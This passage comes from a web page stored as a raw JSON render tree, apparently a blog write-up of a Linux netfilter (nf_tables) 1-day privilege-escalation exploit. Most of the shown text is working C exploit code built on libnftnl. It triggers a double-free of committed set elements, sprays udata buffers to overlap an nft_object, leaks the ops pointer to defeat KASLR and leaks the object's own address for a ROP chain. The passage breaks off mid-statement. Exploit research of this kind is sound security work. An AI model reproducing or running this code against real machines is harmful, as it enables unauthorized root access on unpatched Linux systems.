",{"type":21,"tag":198,"props":55035,"children":55036},{"style":205},[55037],{"type":27,"value":55038},"\"pwnobj\"",{"type":21,"tag":198,"props":55040,"children":55041},{"style":211},[55042],{"type":27,"value":828},{"type":21,"tag":198,"props":55044,"children":55045},{"style":2540},[55046],{"type":27,"value":55047},"7",{"type":21,"tag":198,"props":55049,"children":55050},{"style":211},[55051],{"type":27,"value":1470},{"type":21,"tag":198,"props":55053,"children":55054},{"class":200,"line":4561},[55055,55059,55063,55067,55072,55076],{"type":21,"tag":198,"props":55056,"children":55057},{"style":698},[55058],{"type":27,"value":55020},{"type":21,"tag":198,"props":55060,"children":55061},{"style":211},[55062],{"type":27,"value":706},{"type":21,"tag":198,"props":55064,"children":55065},{"style":226},[55066],{"type":27,"value":52440},{"type":21,"tag":198,"props":55068,"children":55069},{"style":211},[55070],{"type":27,"value":55071},"[i], NFTNL_SET_ELEM_KEY, ",{"type":21,"tag":198,"props":55073,"children":55074},{"style":683},[55075],{"type":27,"value":3917},{"type":21,"tag":198,"props":55077,"children":55078},{"style":211},[55079],{"type":27,"value":55080},"key, KEY_LEN);\n",{"type":21,"tag":198,"props":55082,"children":55083},{"class":200,"line":4569},[55084,55088,55092,55096,55101,55105],{"type":21,"tag":198,"props":55085,"children":55086},{"style":698},[55087],{"type":27,"value":55020},{"type":21,"tag":198,"props":55089,"children":55090},{"style":211},[55091],{"type":27,"value":706},{"type":21,"tag":198,"props":55093,"children":55094},{"style":226},[55095],{"type":27,"value":52440},{"type":21,"tag":198,"props":55097,"children":55098},{"style":211},[55099],{"type":27,"value":55100},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":21,"tag":198,"props":55102,"children":55103},{"style":683},[55104],{"type":27,"value":3917},{"type":21,"tag":198,"props":55106,"children":55107},{"style":211},[55108],{"type":27,"value":55109},"udata_buf, size);\n",{"type":21,"tag":198,"props":55111,"children":55112},{"class":200,"line":4599},[55113,55118,55123,55127],{"type":21,"tag":198,"props":55114,"children":55115},{"style":698},[55116],{"type":27,"value":55117}," nftnl_set_elem_add",{"type":21,"tag":198,"props":55119,"children":55120},{"style":211},[55121],{"type":27,"value":55122},"(set, ",{"type":21,"tag":198,"props":55124,"children":55125},{"style":226},[55126],{"type":27,"value":52440},{"type":21,"tag":198,"props":55128,"children":55129},{"style":211},[55130],{"type":27,"value":55131},"[i]);\n",{"type":21,"tag":198,"props":55133,"children":55134},{"class":200,"line":4607},[55135],{"type":21,"tag":198,"props":55136,"children":55137},{"style":211},[55138],{"type":27,"value":880},{"type":21,"tag":198,"props":55140,"children":55141},{"class":200,"line":4638},[55142],{"type":21,"tag":198,"props":55143,"children":55144},{"style":211},[55145],{"type":27,"value":11127},{"type":21,"tag":198,"props":55147,"children":55148},{"class":200,"line":4646},[55149],{"type":21,"tag":198,"props":55150,"children":55151},{"emptyLinePlaceholder":16},[55152],{"type":27,"value":1283},{"type":21,"tag":198,"props":55154,"children":55155},{"class":200,"line":4706},[55156],{"type":21,"tag":198,"props":55157,"children":55158},{"style":211},[55159],{"type":27,"value":55160}," // TRANSACTION 3\n",{"type":21,"tag":198,"props":55162,"children":55163},{"class":200,"line":9857},[55164],{"type":21,"tag":198,"props":55165,"children":55166},{"style":211},[55167],{"type":27,"value":11127},{"type":21,"tag":198,"props":55169,"children":55170},{"class":200,"line":9875},[55171],{"type":21,"tag":198,"props":55172,"children":55173},{"style":211},[55174],{"type":27,"value":55175}," set = nftnl_set_alloc();\n",{"type":21,"tag":198,"props":55177,"children":55178},{"class":200,"line":9920},[55179,55184],{"type":21,"tag":198,"props":55180,"children":55181},{"style":698},[55182],{"type":27,"value":55183}," nftnl_set_set_u32",{"type":21,"tag":198,"props":55185,"children":55186},{"style":211},[55187],{"type":27,"value":55188},"(set, NFTNL_SET_FAMILY, family);\n",{"type":21,"tag":198,"props":55190,"children":55191},{"class":200,"line":10026},[55192,55197],{"type":21,"tag":198,"props":55193,"children":55194},{"style":698},[55195],{"type":27,"value":55196}," nftnl_set_set_str",{"type":21,"tag":198,"props":55198,"children":55199},{"style":211},[55200],{"type":27,"value":55201},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":21,"tag":198,"props":55203,"children":55204},{"class":200,"line":24302},[55205,55209,55214,55218],{"type":21,"tag":198,"props":55206,"children":55207},{"style":698},[55208],{"type":27,"value":55196},{"type":21,"tag":198,"props":55210,"children":55211},{"style":211},[55212],{"type":27,"value":55213},"(set, NFTNL_SET_NAME, ",{"type":21,"tag":198,"props":55215,"children":55216},{"style":205},[55217],{"type":27,"value":54812},{"type":21,"tag":198,"props":55219,"children":55220},{"style":211},[55221],{"type":27,"value":1470},{"type":21,"tag":198,"props":55223,"children":55224},{"class":200,"line":24337},[55225],{"type":21,"tag":198,"props":55226,"children":55227},{"emptyLinePlaceholder":16},[55228],{"type":27,"value":1283},{"type":21,"tag":198,"props":55230,"children":55231},{"class":200,"line":24345},[55232],{"type":21,"tag":198,"props":55233,"children":55234},{"style":1233},[55235],{"type":27,"value":55236}," // make priv->dirty true\n",{"type":21,"tag":198,"props":55238,"children":55239},{"class":200,"line":24353},[55240,55245,55249,55254],{"type":21,"tag":198,"props":55241,"children":55242},{"style":698},[55243],{"type":27,"value":55244}," memset",{"type":21,"tag":198,"props":55246,"children":55247},{"style":211},[55248],{"type":27,"value":54998},{"type":21,"tag":198,"props":55250,"children":55251},{"style":2540},[55252],{"type":27,"value":55253},"0xff",{"type":21,"tag":198,"props":55255,"children":55256},{"style":211},[55257],{"type":27,"value":55258},", KEY_LEN);\n",{"type":21,"tag":198,"props":55260,"children":55261},{"class":200,"line":24362},[55262,55267,55271,55275,55279,55283,55287],{"type":21,"tag":198,"props":55263,"children":55264},{"style":226},[55265],{"type":27,"value":55266}," elem",{"type":21,"tag":198,"props":55268,"children":55269},{"style":211},[55270],{"type":27,"value":2051},{"type":21,"tag":198,"props":55272,"children":55273},{"style":2540},[55274],{"type":27,"value":18097},{"type":21,"tag":198,"props":55276,"children":55277},{"style":211},[55278],{"type":27,"value":9472},{"type":21,"tag":198,"props":55280,"children":55281},{"style":683},[55282],{"type":27,"value":3174},{"type":21,"tag":198,"props":55284,"children":55285},{"style":698},[55286],{"type":27,"value":54981},{"type":21,"tag":198,"props":55288,"children":55289},{"style":211},[55290],{"type":27,"value":3404},{"type":21,"tag":198,"props":55292,"children":55293},{"class":200,"line":24404},[55294,55299,55303,55307,55311,55315,55320,55324,55328,55332],{"type":21,"tag":198,"props":55295,"children":55296},{"style":698},[55297],{"type":27,"value":55298}," nftnl_set_elem_set",{"type":21,"tag":198,"props":55300,"children":55301},{"style":211},[55302],{"type":27,"value":706},{"type":21,"tag":198,"props":55304,"children":55305},{"style":226},[55306],{"type":27,"value":52440},{"type":21,"tag":198,"props":55308,"children":55309},{"style":211},[55310],{"type":27,"value":2051},{"type":21,"tag":198,"props":55312,"children":55313},{"style":2540},[55314],{"type":27,"value":18097},{"type":21,"tag":198,"props":55316,"children":55317},{"style":211},[55318],{"type":27,"value":55319},"], NFTNL_SET_ELEM_OBJREF, ",{"type":21,"tag":198,"props":55321,"children":55322},{"style":205},[55323],{"type":27,"value":55038},{"type":21,"tag":198,"props":55325,"children":55326},{"style":211},[55327],{"type":27,"value":828},{"type":21,"tag":198,"props":55329,"children":55330},{"style":2540},[55331],{"type":27,"value":55047},{"type":21,"tag":198,"props":55333,"children":55334},{"style":211},[55335],{"type":27,"value":1470},{"type":21,"tag":198,"props":55337,"children":55338},{"class":200,"line":24437},[55339,55343,55347,55351,55355,55359,55364,55368],{"type":21,"tag":198,"props":55340,"children":55341},{"style":698},[55342],{"type":27,"value":55298},{"type":21,"tag":198,"props":55344,"children":55345},{"style":211},[55346],{"type":27,"value":706},{"type":21,"tag":198,"props":55348,"children":55349},{"style":226},[55350],{"type":27,"value":52440},{"type":21,"tag":198,"props":55352,"children":55353},{"style":211},[55354],{"type":27,"value":2051},{"type":21,"tag":198,"props":55356,"children":55357},{"style":2540},[55358],{"type":27,"value":18097},{"type":21,"tag":198,"props":55360,"children":55361},{"style":211},[55362],{"type":27,"value":55363},"], NFTNL_SET_ELEM_KEY, ",{"type":21,"tag":198,"props":55365,"children":55366},{"style":683},[55367],{"type":27,"value":3917},{"type":21,"tag":198,"props":55369,"children":55370},{"style":211},[55371],{"type":27,"value":55080},{"type":21,"tag":198,"props":55373,"children":55374},{"class":200,"line":24445},[55375,55380,55384,55388,55392,55396],{"type":21,"tag":198,"props":55376,"children":55377},{"style":698},[55378],{"type":27,"value":55379}," nftnl_set_elem_add",{"type":21,"tag":198,"props":55381,"children":55382},{"style":211},[55383],{"type":27,"value":55122},{"type":21,"tag":198,"props":55385,"children":55386},{"style":226},[55387],{"type":27,"value":52440},{"type":21,"tag":198,"props":55389,"children":55390},{"style":211},[55391],{"type":27,"value":2051},{"type":21,"tag":198,"props":55393,"children":55394},{"style":2540},[55395],{"type":27,"value":18097},{"type":21,"tag":198,"props":55397,"children":55398},{"style":211},[55399],{"type":27,"value":4558},{"type":21,"tag":198,"props":55401,"children":55402},{"class":200,"line":24453},[55403],{"type":21,"tag":198,"props":55404,"children":55405},{"style":211},[55406],{"type":27,"value":11127},{"type":21,"tag":198,"props":55408,"children":55409},{"class":200,"line":24462},[55410],{"type":21,"tag":198,"props":55411,"children":55412},{"emptyLinePlaceholder":16},[55413],{"type":27,"value":1283},{"type":21,"tag":198,"props":55415,"children":55416},{"class":200,"line":24538},[55417],{"type":21,"tag":198,"props":55418,"children":55419},{"style":211},[55420],{"type":27,"value":55421}," // double-free commited elems\n",{"type":21,"tag":198,"props":55423,"children":55424},{"class":200,"line":24571},[55425],{"type":21,"tag":198,"props":55426,"children":55427},{"style":211},[55428],{"type":27,"value":11127},{"type":21,"tag":198,"props":55430,"children":55431},{"class":200,"line":24579},[55432,55437,55441],{"type":21,"tag":198,"props":55433,"children":55434},{"style":211},[55435],{"type":27,"value":55436}," nftnl_set_free(",{"type":21,"tag":198,"props":55438,"children":55439},{"style":1966},[55440],{"type":27,"value":51395},{"type":21,"tag":198,"props":55442,"children":55443},{"style":211},[55444],{"type":27,"value":1470},{"type":21,"tag":198,"props":55446,"children":55447},{"class":200,"line":24587},[55448],{"type":21,"tag":198,"props":55449,"children":55450},{"style":211},[55451],{"type":27,"value":1120},{"type":21,"tag":198,"props":55453,"children":55454},{"class":200,"line":24624},[55455],{"type":21,"tag":198,"props":55456,"children":55457},{"style":211},[55458],{"type":27,"value":11127},{"type":21,"tag":59,"props":55460,"children":55462},{"id":55461},"leaking-kaslr",[55463],{"type":27,"value":55464},"Leaking KASLR",{"type":21,"tag":30,"props":55466,"children":55467},{},[55468,55470,55476,55478,55483,55485,55491,55493,55499,55501],{"type":27,"value":55469},"Tables contain an outline user data buffer ",{"type":21,"tag":194,"props":55471,"children":55473},{"className":55472},[],[55474],{"type":27,"value":55475},"udata",{"type":27,"value":55477}," that we can both read and write. By allocating a ",{"type":21,"tag":194,"props":55479,"children":55481},{"className":55480},[],[55482],{"type":27,"value":55475},{"type":27,"value":55484}," buffer on the double-free slot and then overlapping it with an ",{"type":21,"tag":194,"props":55486,"children":55488},{"className":55487},[],[55489],{"type":27,"value":55490},"nft_object",{"type":27,"value":55492}," we can leak the ",{"type":21,"tag":194,"props":55494,"children":55496},{"className":55495},[],[55497],{"type":27,"value":55498},"->ops",{"type":27,"value":55500}," pointer, and use it to calculate the KASLR slide.\n",{"type":21,"tag":1376,"props":55502,"children":55504},{"alt":50954,"src":55503},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":21,"tag":187,"props":55506,"children":55508},{"className":29912,"code":55507,"language":29914,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[55509],{"type":21,"tag":194,"props":55510,"children":55511},{"__ignoreMap":7},[55512,55519,55527,55562,55569,55577,55602,55629,55680,55687,55720,55746,55753,55818,55825,55846,55853,55860,55868,55876,55897,55926,55938,55982,56038],{"type":21,"tag":198,"props":55513,"children":55514},{"class":200,"line":201},[55515],{"type":21,"tag":198,"props":55516,"children":55517},{"style":211},[55518],{"type":27,"value":11127},{"type":21,"tag":198,"props":55520,"children":55521},{"class":200,"line":217},[55522],{"type":21,"tag":198,"props":55523,"children":55524},{"style":211},[55525],{"type":27,"value":55526}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":21,"tag":198,"props":55528,"children":55529},{"class":200,"line":236},[55530,55535,55539,55544,55549,55554,55558],{"type":21,"tag":198,"props":55531,"children":55532},{"style":211},[55533],{"type":27,"value":55534}," udata_spray(",{"type":21,"tag":198,"props":55536,"children":55537},{"style":1966},[55538],{"type":27,"value":54666},{"type":21,"tag":198,"props":55540,"children":55541},{"style":211},[55542],{"type":27,"value":55543},", 0",{"type":21,"tag":198,"props":55545,"children":55546},{"style":1966},[55547],{"type":27,"value":55548},"xe8",{"type":21,"tag":198,"props":55550,"children":55551},{"style":211},[55552],{"type":27,"value":55553},", 0, 3, ",{"type":21,"tag":198,"props":55555,"children":55556},{"style":1966},[55557],{"type":27,"value":54872},{"type":21,"tag":198,"props":55559,"children":55560},{"style":211},[55561],{"type":27,"value":1470},{"type":21,"tag":198,"props":55563,"children":55564},{"class":200,"line":260},[55565],{"type":21,"tag":198,"props":55566,"children":55567},{"emptyLinePlaceholder":16},[55568],{"type":27,"value":1283},{"type":21,"tag":198,"props":55570,"children":55571},{"class":200,"line":281},[55572],{"type":21,"tag":198,"props":55573,"children":55574},{"style":1233},[55575],{"type":27,"value":55576}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":21,"tag":198,"props":55578,"children":55579},{"class":200,"line":302},[55580,55585,55590,55594,55598],{"type":21,"tag":198,"props":55581,"children":55582},{"style":249},[55583],{"type":27,"value":55584}," char",{"type":21,"tag":198,"props":55586,"children":55587},{"style":226},[55588],{"type":27,"value":55589}," spray_name",{"type":21,"tag":198,"props":55591,"children":55592},{"style":211},[55593],{"type":27,"value":2051},{"type":21,"tag":198,"props":55595,"children":55596},{"style":2540},[55597],{"type":27,"value":41600},{"type":21,"tag":198,"props":55599,"children":55600},{"style":211},[55601],{"type":27,"value":32361},{"type":21,"tag":198,"props":55603,"children":55604},{"class":200,"line":323},[55605,55609,55613,55617,55621,55625],{"type":21,"tag":198,"props":55606,"children":55607},{"style":249},[55608],{"type":27,"value":55584},{"type":21,"tag":198,"props":55610,"children":55611},{"style":683},[55612],{"type":27,"value":10626},{"type":21,"tag":198,"props":55614,"children":55615},{"style":226},[55616],{"type":27,"value":55475},{"type":21,"tag":198,"props":55618,"children":55619},{"style":211},[55620],{"type":27,"value":2051},{"type":21,"tag":198,"props":55622,"children":55623},{"style":2540},[55624],{"type":27,"value":18097},{"type":21,"tag":198,"props":55626,"children":55627},{"style":211},[55628],{"type":27,"value":32361},{"type":21,"tag":198,"props":55630,"children":55631},{"class":200,"line":344},[55632,55636,55640,55644,55648,55652,55656,55660,55664,55668,55672,55676],{"type":21,"tag":198,"props":55633,"children":55634},{"style":640},[55635],{"type":27,"value":3840},{"type":21,"tag":198,"props":55637,"children":55638},{"style":211},[55639],{"type":27,"value":648},{"type":21,"tag":198,"props":55641,"children":55642},{"style":249},[55643],{"type":27,"value":19841},{"type":21,"tag":198,"props":55645,"children":55646},{"style":211},[55647],{"type":27,"value":54920},{"type":21,"tag":198,"props":55649,"children":55650},{"style":683},[55651],{"type":27,"value":3174},{"type":21,"tag":198,"props":55653,"children":55654},{"style":2540},[55655],{"type":27,"value":3855},{"type":21,"tag":198,"props":55657,"children":55658},{"style":211},[55659],{"type":27,"value":51609},{"type":21,"tag":198,"props":55661,"children":55662},{"style":683},[55663],{"type":27,"value":3159},{"type":21,"tag":198,"props":55665,"children":55666},{"style":2540},[55667],{"type":27,"value":19893},{"type":21,"tag":198,"props":55669,"children":55670},{"style":211},[55671],{"type":27,"value":51640},{"type":21,"tag":198,"props":55673,"children":55674},{"style":683},[55675],{"type":27,"value":51645},{"type":21,"tag":198,"props":55677,"children":55678},{"style":211},[55679],{"type":27,"value":789},{"type":21,"tag":198,"props":55681,"children":55682},{"class":200,"line":365},[55683],{"type":21,"tag":198,"props":55684,"children":55685},{"style":211},[55686],{"type":27,"value":29989},{"type":21,"tag":198,"props":55688,"children":55689},{"class":200,"line":386},[55690,55695,55700,55705,55710,55715],{"type":21,"tag":198,"props":55691,"children":55692},{"style":698},[55693],{"type":27,"value":55694}," snprintf",{"type":21,"tag":198,"props":55696,"children":55697},{"style":211},[55698],{"type":27,"value":55699},"(spray_name, ",{"type":21,"tag":198,"props":55701,"children":55702},{"style":249},[55703],{"type":27,"value":55704},"sizeof",{"type":21,"tag":198,"props":55706,"children":55707},{"style":211},[55708],{"type":27,"value":55709},"(spray_name), ",{"type":21,"tag":198,"props":55711,"children":55712},{"style":205},[55713],{"type":27,"value":55714},"\"spray-%i\"",{"type":21,"tag":198,"props":55716,"children":55717},{"style":211},[55718],{"type":27,"value":55719},", i);\n",{"type":21,"tag":198,"props":55721,"children":55722},{"class":200,"line":408},[55723,55728,55732,55736,55741],{"type":21,"tag":198,"props":55724,"children":55725},{"style":226},[55726],{"type":27,"value":55727}," udata",{"type":21,"tag":198,"props":55729,"children":55730},{"style":211},[55731],{"type":27,"value":54972},{"type":21,"tag":198,"props":55733,"children":55734},{"style":683},[55735],{"type":27,"value":3174},{"type":21,"tag":198,"props":55737,"children":55738},{"style":698},[55739],{"type":27,"value":55740}," getudata",{"type":21,"tag":198,"props":55742,"children":55743},{"style":211},[55744],{"type":27,"value":55745},"(nl, spray_name);\n",{"type":21,"tag":198,"props":55747,"children":55748},{"class":200,"line":429},[55749],{"type":21,"tag":198,"props":55750,"children":55751},{"style":211},[55752],{"type":27,"value":880},{"type":21,"tag":198,"props":55754,"children":55755},{"class":200,"line":450},[55756,55760,55764,55768,55772,55776,55780,55784,55788,55792,55797,55801,55805,55809,55813],{"type":21,"tag":198,"props":55757,"children":55758},{"style":640},[55759],{"type":27,"value":643},{"type":21,"tag":198,"props":55761,"children":55762},{"style":211},[55763],{"type":27,"value":648},{"type":21,"tag":198,"props":55765,"children":55766},{"style":226},[55767],{"type":27,"value":55475},{"type":21,"tag":198,"props":55769,"children":55770},{"style":211},[55771],{"type":27,"value":2051},{"type":21,"tag":198,"props":55773,"children":55774},{"style":2540},[55775],{"type":27,"value":3482},{"type":21,"tag":198,"props":55777,"children":55778},{"style":211},[55779],{"type":27,"value":2061},{"type":21,"tag":198,"props":55781,"children":55782},{"style":2540},[55783],{"type":27,"value":3482},{"type":21,"tag":198,"props":55785,"children":55786},{"style":211},[55787],{"type":27,"value":9472},{"type":21,"tag":198,"props":55789,"children":55790},{"style":683},[55791],{"type":27,"value":9386},{"type":21,"tag":198,"props":55793,"children":55794},{"style":226},[55795],{"type":27,"value":55796}," udata",{"type":21,"tag":198,"props":55798,"children":55799},{"style":211},[55800],{"type":27,"value":2051},{"type":21,"tag":198,"props":55802,"children":55803},{"style":2540},[55804],{"type":27,"value":3931},{"type":21,"tag":198,"props":55806,"children":55807},{"style":211},[55808],{"type":27,"value":2061},{"type":21,"tag":198,"props":55810,"children":55811},{"style":2540},[55812],{"type":27,"value":3482},{"type":21,"tag":198,"props":55814,"children":55815},{"style":211},[55816],{"type":27,"value":55817},"])\n",{"type":21,"tag":198,"props":55819,"children":55820},{"class":200,"line":468},[55821],{"type":21,"tag":198,"props":55822,"children":55823},{"style":211},[55824],{"type":27,"value":29989},{"type":21,"tag":198,"props":55826,"children":55827},{"class":200,"line":477},[55828,55833,55837,55842],{"type":21,"tag":198,"props":55829,"children":55830},{"style":698},[55831],{"type":27,"value":55832}," puts",{"type":21,"tag":198,"props":55834,"children":55835},{"style":211},[55836],{"type":27,"value":706},{"type":21,"tag":198,"props":55838,"children":55839},{"style":205},[55840],{"type":27,"value":55841},"\"[+] got duplicated table\"",{"type":21,"tag":198,"props":55843,"children":55844},{"style":211},[55845],{"type":27,"value":1470},{"type":21,"tag":198,"props":55847,"children":55848},{"class":200,"line":494},[55849],{"type":21,"tag":198,"props":55850,"children":55851},{"style":211},[55852],{"type":27,"value":880},{"type":21,"tag":198,"props":55854,"children":55855},{"class":200,"line":515},[55856],{"type":21,"tag":198,"props":55857,"children":55858},{"emptyLinePlaceholder":16},[55859],{"type":27,"value":1283},{"type":21,"tag":198,"props":55861,"children":55862},{"class":200,"line":4484},[55863],{"type":21,"tag":198,"props":55864,"children":55865},{"style":1233},[55866],{"type":27,"value":55867}," // Replace one of the udata buffers with nft_object\n",{"type":21,"tag":198,"props":55869,"children":55870},{"class":200,"line":4493},[55871],{"type":21,"tag":198,"props":55872,"children":55873},{"style":1233},[55874],{"type":27,"value":55875}," // and read it's counterpart to leak the nft_object struct\n",{"type":21,"tag":198,"props":55877,"children":55878},{"class":200,"line":4561},[55879,55884,55888,55893],{"type":21,"tag":198,"props":55880,"children":55881},{"style":698},[55882],{"type":27,"value":55883}," puts",{"type":21,"tag":198,"props":55885,"children":55886},{"style":211},[55887],{"type":27,"value":706},{"type":21,"tag":198,"props":55889,"children":55890},{"style":205},[55891],{"type":27,"value":55892},"\"[*] Info leak\"",{"type":21,"tag":198,"props":55894,"children":55895},{"style":211},[55896],{"type":27,"value":1470},{"type":21,"tag":198,"props":55898,"children":55899},{"class":200,"line":4569},[55900,55905,55910,55914,55918,55922],{"type":21,"tag":198,"props":55901,"children":55902},{"style":698},[55903],{"type":27,"value":55904}," deludata_spray",{"type":21,"tag":198,"props":55906,"children":55907},{"style":211},[55908],{"type":27,"value":55909},"(nl, ",{"type":21,"tag":198,"props":55911,"children":55912},{"style":2540},[55913],{"type":27,"value":3482},{"type":21,"tag":198,"props":55915,"children":55916},{"style":211},[55917],{"type":27,"value":828},{"type":21,"tag":198,"props":55919,"children":55920},{"style":2540},[55921],{"type":27,"value":134},{"type":21,"tag":198,"props":55923,"children":55924},{"style":211},[55925],{"type":27,"value":1470},{"type":21,"tag":198,"props":55927,"children":55928},{"class":200,"line":4599},[55929,55934],{"type":21,"tag":198,"props":55930,"children":55931},{"style":698},[55932],{"type":27,"value":55933}," wait_destroyer",{"type":21,"tag":198,"props":55935,"children":55936},{"style":211},[55937],{"type":27,"value":3404},{"type":21,"tag":198,"props":55939,"children":55940},{"class":200,"line":4607},[55941,55946,55950,55954,55958,55962,55966,55970,55974,55978],{"type":21,"tag":198,"props":55942,"children":55943},{"style":698},[55944],{"type":27,"value":55945}," obj_spray",{"type":21,"tag":198,"props":55947,"children":55948},{"style":211},[55949],{"type":27,"value":55909},{"type":21,"tag":198,"props":55951,"children":55952},{"style":2540},[55953],{"type":27,"value":3482},{"type":21,"tag":198,"props":55955,"children":55956},{"style":211},[55957],{"type":27,"value":828},{"type":21,"tag":198,"props":55959,"children":55960},{"style":2540},[55961],{"type":27,"value":134},{"type":21,"tag":198,"props":55963,"children":55964},{"style":211},[55965],{"type":27,"value":828},{"type":21,"tag":198,"props":55967,"children":55968},{"style":249},[55969],{"type":27,"value":54872},{"type":21,"tag":198,"props":55971,"children":55972},{"style":211},[55973],{"type":27,"value":828},{"type":21,"tag":198,"props":55975,"children":55976},{"style":2540},[55977],{"type":27,"value":3482},{"type":21,"tag":198,"props":55979,"children":55980},{"style":211},[55981],{"type":27,"value":1470},{"type":21,"tag":198,"props":55983,"children":55984},{"class":200,"line":4638},[55985,55990,55994,55999,56003,56007,56012,56016,56020,56025,56029,56034],{"type":21,"tag":198,"props":55986,"children":55987},{"style":249},[55988],{"type":27,"value":55989}," uint64_t",{"type":21,"tag":198,"props":55991,"children":55992},{"style":683},[55993],{"type":27,"value":10626},{"type":21,"tag":198,"props":55995,"children":55996},{"style":211},[55997],{"type":27,"value":55998},"fake_obj ",{"type":21,"tag":198,"props":56000,"children":56001},{"style":683},[56002],{"type":27,"value":3174},{"type":21,"tag":198,"props":56004,"children":56005},{"style":211},[56006],{"type":27,"value":648},{"type":21,"tag":198,"props":56008,"children":56009},{"style":249},[56010],{"type":27,"value":56011},"uint64_t",{"type":21,"tag":198,"props":56013,"children":56014},{"style":683},[56015],{"type":27,"value":10626},{"type":21,"tag":198,"props":56017,"children":56018},{"style":211},[56019],{"type":27,"value":2109},{"type":21,"tag":198,"props":56021,"children":56022},{"style":698},[56023],{"type":27,"value":56024},"getudata",{"type":21,"tag":198,"props":56026,"children":56027},{"style":211},[56028],{"type":27,"value":55909},{"type":21,"tag":198,"props":56030,"children":56031},{"style":205},[56032],{"type":27,"value":56033},"\"spray-2\"",{"type":21,"tag":198,"props":56035,"children":56036},{"style":211},[56037],{"type":27,"value":1470},{"type":21,"tag":198,"props":56039,"children":56040},{"class":200,"line":4646},[56041],{"type":21,"tag":198,"props":56042,"children":56043},{"style":211},[56044],{"type":27,"value":11127},{"type":21,"tag":59,"props":56046,"children":56048},{"id":56047},"leaking-self-pointer-of-nft_object",[56049,56051],{"type":27,"value":56050},"Leaking self pointer of ",{"type":21,"tag":194,"props":56052,"children":56054},{"className":56053},[],[56055],{"type":27,"value":55490},{"type":21,"tag":30,"props":56057,"children":56058},{},[56059,56061,56066,56068,56073,56075,56080,56082,56088],{"type":27,"value":56060},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":21,"tag":194,"props":56062,"children":56064},{"className":56063},[],[56065],{"type":27,"value":55490},{"type":27,"value":56067}," to get its own address. This is possible because the ",{"type":21,"tag":194,"props":56069,"children":56071},{"className":56070},[],[56072],{"type":27,"value":55490},{"type":27,"value":56074}," has a ",{"type":21,"tag":194,"props":56076,"children":56078},{"className":56077},[],[56079],{"type":27,"value":55475},{"type":27,"value":56081}," pointer (similar to ",{"type":21,"tag":194,"props":56083,"children":56085},{"className":56084},[],[56086],{"type":27,"value":56087},"table->udata",{"type":27,"value":56089}," that I used for leaking KASLR), that I can use to read/write data.",{"type":21,"tag":30,"props":56091,"children":56092},{},[56093,56094,56099,56101,56107,56109,56114,56116,56122,56124,56130,56132,56137,56139,56144,56146,56151,56153],{"type":27,"value":534},{"type":21,"tag":194,"props":56095,"children":56097},{"className":56096},[],[56098],{"type":27,"value":55490},{"type":27,"value":56100}," struct also contains a ",{"type":21,"tag":194,"props":56102,"children":56104},{"className":56103},[],[56105],{"type":27,"value":56106},"list_head",{"type":27,"value":56108}," inserted in a circular list containing all ",{"type":21,"tag":194,"props":56110,"children":56112},{"className":56111},[],[56113],{"type":27,"value":55490},{"type":27,"value":56115},"'s that belong to a given ",{"type":21,"tag":194,"props":56117,"children":56119},{"className":56118},[],[56120],{"type":27,"value":56121},"table",{"type":27,"value":56123},". Considering that our object is currently alone in its table, the ",{"type":21,"tag":194,"props":56125,"children":56127},{"className":56126},[],[56128],{"type":27,"value":56129},"table->list.next",{"type":27,"value":56131}," pointer in the ",{"type":21,"tag":194,"props":56133,"children":56135},{"className":56134},[],[56136],{"type":27,"value":55490},{"type":27,"value":56138}," will point back to the ",{"type":21,"tag":194,"props":56140,"children":56142},{"className":56141},[],[56143],{"type":27,"value":56106},{"type":27,"value":56145}," contained in the ",{"type":21,"tag":194,"props":56147,"children":56149},{"className":56148},[],[56150],{"type":27,"value":56121},{"type":27,"value":56152}," and vice-versa.\n",{"type":21,"tag":1376,"props":56154,"children":56156},{"alt":50954,"src":56155},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":21,"tag":30,"props":56158,"children":56159},{},[56160,56162,56167,56169,56174,56176,56182,56184,56189,56190,56195,56197,56202,56204,56209],{"type":27,"value":56161},"In short, that means that if we swap the ",{"type":21,"tag":194,"props":56163,"children":56165},{"className":56164},[],[56166],{"type":27,"value":55475},{"type":27,"value":56168}," pointer of the ",{"type":21,"tag":194,"props":56170,"children":56172},{"className":56171},[],[56173],{"type":27,"value":55490},{"type":27,"value":56175}," with its own ",{"type":21,"tag":194,"props":56177,"children":56179},{"className":56178},[],[56180],{"type":27,"value":56181},"list.next",{"type":27,"value":56183}," pointer we should be able to read a pointer back to the ",{"type":21,"tag":194,"props":56185,"children":56187},{"className":56186},[],[56188],{"type":27,"value":55490},{"type":27,"value":52715},{"type":21,"tag":194,"props":56191,"children":56193},{"className":56192},[],[56194],{"type":27,"value":56106},{"type":27,"value":56196}," which is also the start of the ",{"type":21,"tag":194,"props":56198,"children":56200},{"className":56199},[],[56201],{"type":27,"value":55490},{"type":27,"value":56203}," itself.\n",{"type":21,"tag":6137,"props":56205,"children":56206},{},[56207],{"type":27,"value":56208},"NOTE:",{"type":27,"value":56210}," This is a novel small trick.",{"type":21,"tag":187,"props":56212,"children":56214},{"className":29912,"code":56213,"language":29914,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", 